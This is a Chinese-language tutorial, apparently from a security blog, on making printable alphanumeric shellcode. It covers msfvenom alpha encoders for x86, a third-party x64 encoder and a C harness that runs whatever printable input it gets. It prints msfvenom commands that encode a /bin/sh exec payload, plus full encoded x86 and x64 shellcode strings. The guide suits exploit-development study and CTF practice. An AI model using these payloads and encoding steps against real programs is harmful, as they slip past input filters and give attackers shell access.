生成可打印的shellcode
字数 1111 2025-08-05 08:20:14
生成可打印Shellcode的技术指南
1. 可打印Shellcode的背景与需求
在某些安全场景中,程序会对输入进行可打印字符检查(如UTF-8编码验证),此时常规的Shellcode会被拦截。本指南介绍如何生成完全由可打印ASCII字符组成的Shellcode。
2. x86架构可打印Shellcode生成
2.1 使用MSFVenom编码
MSFVenom内置了多种编码器,其中适用于x86的可打印编码器包括:
x86/alpha_mixed - 混合大小写字母数字编码器
x86/alpha_upper - 大写字母数字编码器
x86/unicode_upper - Unicode大写字母数字编码器
关键参数说明:
BufferRegister:指定指向Shellcode的寄存器,避免生成额外的定位指令(这些指令可能不可打印)
生成命令示例:
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax -f python
输出特点:
- 生成的Shellcode完全由大写字母和数字组成
- 需要指定正确的BufferRegister以确保可执行性
2.2 自定义Shellcode编码
可以将自定义Shellcode通过管道传递给MSFVenom进行编码:
cat custom_shellcode.bin | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax
3. x64架构可打印Shellcode生成
由于MSFVenom缺乏x64的alpha编码器,可以使用第三方工具:
3.1 使用shellcode_encoder工具
GitHub项目:https://github.com/ecx86/shellcode_encoder
使用步骤:
- 准备原始Shellcode文件
- 确定Shellcode在内存中的位置(通常为寄存器值+偏移)
- 运行编码器:
python2 main.py shellcode rax+29
输出特点:
- 生成多层编码的可打印Shellcode
- 包含跳转指令和编码前导码
- 输出包含原始长度、编码长度和总长度信息
4. 测试环境搭建
4.1 测试程序示例
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
int is_printable(char *s, int length) {
for(int i=0; i<length; i++) {
if(s[i] <= 31 || s[i] == 127) {
return 0;
}
}
return 1;
}
int main() {
char *buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
int tail = read(0, buf, 0x1000);
alarm(60);
if(buf[tail-1] == '\n') {
buf[tail-1] = '\0';
tail--;
}
if(!is_printable(buf, tail)) {
puts("It must be a printable string!");
exit(-1);
}
asm("call *%0" :: "r"(buf));
return 0;
}
编译选项:
- x86:
gcc -m32 printable.c -o printable32 - x64:
gcc printable.c -o printable64
4.2 测试结果
x86测试:
./printable32
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA
x64测试:
./printable64
PPTAYAXVI31VXXXf-cof-@Hf-@HPZTAYAXVI31VXPP[_Hc4:14:SX-@(t3-P `_58</_P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-q;@A-pE A5Wp09P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-$Ht -_`l 5O_W6P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@"3@-A` 5{G/XP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@&Fa-P" A5x4_MP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-5E_*wP^14:WX-~[w_-?ah,-?C tP_SX- H#B- x^~5X>~?P_Hc4:14:SX-"* -E6 5f}//P^14:WX-~[w_-?ah,-?C tP_SX- A""- ?~~5\~__P^SX-@@@"-y``~5____P_AAAAA5SWZ%%.H>#dmn+sATbRLad:hFTHKcL5Acy\4:y1vI6: O:;<;wb['2 @p}Y;\tc
5. 关键注意事项
- 寄存器选择:必须正确指定BufferRegister,否则生成的定位指令会破坏可打印性
- 平台兼容性:x86和x64需要不同的编码方法
- Shellcode长度:编码后的Shellcode通常会比原始版本大很多
- 编码器限制:某些复杂功能可能难以用纯可打印字符实现
- 测试验证:务必在实际环境中测试编码后的Shellcode
6. 技术原理概述
可打印Shellcode编码通常基于以下技术:
- 使用字母数字指令构造解码器
- 通过算术运算(如XOR)在运行时还原原始Shellcode
- 利用寄存器相对寻址定位编码数据
- 多层编码以绕过更复杂的过滤机制
通过以上方法,可以生成既满足可打印字符限制又能执行预期功能的Shellcode。